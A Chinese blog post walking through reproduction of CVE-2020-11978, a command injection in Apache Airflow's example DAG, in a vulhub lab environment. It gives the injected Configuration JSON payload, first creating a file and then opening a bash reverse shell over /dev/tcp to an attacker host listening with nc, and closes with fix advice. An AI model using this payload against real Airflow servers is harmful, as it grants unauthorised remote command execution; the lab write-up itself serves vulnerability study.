当前位置:网站首页>(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】
(CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】
2022-06-24 06:43:00 【多次拒绝关晓彤】
前言
我自从学java工具开发以后,很少接触漏洞复现了,以前还是安服的时候每天都会复现一篇,后面转了方向就没怎么接触漏洞了。就在昨天,一个靓仔带着问题找我,问我会不会Apache Airflow(CVE-2020-11978)这个漏洞,所以,就有了这篇博文,CVE-2020-11978漏洞复现。
提示:以下是本篇文章正文内容,下面案例可供参考
1.漏洞信息补充
Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
2. 漏洞简介
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
3.影响版本
Apache Airflow <= 1.10.10
4.漏洞复现
一、启动vulhub靶场环境
没有vulhub的就去下一个vulhub,按照步骤来解压安装包就行。如果vulhub版本比较老是没有这个漏洞的,下载一个新的vulhub就行,如下图所示的第二个airflow就是。
进入CVE-2020-11978文件夹
输入以下命令启动
docker-compose run airflow-init
docker-compose up -d

访问漏洞地址:http://127.0.0.1:8080 即可
由于在虚拟机里操作不方便,在虚拟机ifconfig命令获取到ip地址是192.168.25.130,用这个ip替换127.0.0.1即可在本地的浏览器访问,如下所示:
注意!由于漏洞环境比较大,启动的时间很慢,并不是一下子就能访问到的,具体等待多久我是不清楚的,我是前一天晚上启动了环境,发现无法访问8080端口,睡了一觉起来后,才能访问的,所以不要着急,环境启动完需要耐心等待,可以先去做别的事情。
二、命令执行
访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
在Configuration JSON中输入:
{
"message":"'\";touch /tmp/what_the_fuck;#"}
再点击Trigger执行dag。
等几秒可以看到执行成功。
显示success,说明成功。

进入容器查看目录,发现成功创建/tmp/what_the_fuck文件,漏洞复现成功。
docker-compose exec airflow-worker bash

三、NC反弹shell
上面既然能用touch创建文件了,那么反弹一个shell回来,问题也不大,接下来看操作。
攻击机192.168.230.234开启nc,监听9999端口。
在Configuration JSON中输入:
{
"message":"'\";bash -i >& /dev/tcp/192.168.230.234/9999 0>&1;#"}
{“message”:“'”;;#"},再点击Trigger执行dag。
成功反弹shell,可以命令执行了。
5. 修复建议
1、升级到1.10.10之后版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
总结
漏洞复现故而简单,但是其中的原理还是有点迷糊,建议大家在复现漏洞的同时,还要搞懂其中的原理。
文章原创,欢迎转载,请注明文章出处: (CVE-2020-11978)Airflow dag中的命令注入漏洞复现【vulhub靶场】。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。
边栏推荐
- 0 foundation a literature club low code development member management applet (4)
- Win11笔记本省电模式怎么开启?Win11电脑节电模式打开方法
- MFC多线程 信号量CSemaphore 临界区与互斥 事件
- OMX initialization process
- Software performance test analysis and tuning practice path - JMeter's performance pressure test analysis and tuning of RPC Services - manuscript excerpts
- Fine! Storage knowledge is a must for network engineers!
- [WordPress website] 6 Article content copy prevention
- 0 foundation a literature club low code development member management applet (III)
- [image fusion] image fusion based on pseudo Wigner distribution (PWD) with matlab code
- 在产业互联网时代不再有真正意义上的中心,这些中心仅仅只是化有形为无形而已
猜你喜欢
![[image fusion] image fusion based on pseudo Wigner distribution (PWD) with matlab code](/img/e0/14cd7982fb3059fed235470d91126e.png)
[image fusion] image fusion based on pseudo Wigner distribution (PWD) with matlab code

【云驻共创】华为云HCIA-IoT V2.5培训系列内容之物联网概览

Mysql开启BINLOG

Canal installation configuration

Intelligent Vision Group A4 paper recognition example

MySQL - three tables (student, course, score) to query the name, number and score of students whose course is mathematics

现货黄金有哪些值得借鉴的心态

20个不容错过的ES6技巧

The fund management of London gold is more important than others
![[GUET-CTF2019]zips](/img/79/22ff5d4a3cdc3fa9e0957ccc9bad4b.png)
[GUET-CTF2019]zips
随机推荐
What are the dazzling skills of spot gold?
[MRCTF2020]千层套路
0 foundation a literature club low code development member management applet (4)
Record the problem location experience when an application is suddenly killed
JVM debugging tool -jvisualvm
JVM调试工具-Arthas
Clickhouse source code note 6: exploring the sorting of columnar storage systems
get_started_3dsctf_2016
毕业季进击的技术
[problem solving] the connection to the server localhost:8080 was referred
Stop looking! The most complete data analysis strategy of the whole network is here
JVM调试工具-jps
Web messaging and woker classification: talking about the cross thread and cross page communication of PostMessage
PIP install XXX on the terminal but no module named XXX on pycharm
[cloud based co creation] overview of the IOT of Huawei cloud HCIA IOT v2.5 training series
[image fusion] image fusion based on pseudo Wigner distribution (PWD) with matlab code
The initial user names and passwords of Huawei devices are a large collection that engineers involved in Huawei business should keep in mind and collect!
OMX的初始化流程
内网学习笔记(4)
华为云数据库进阶学习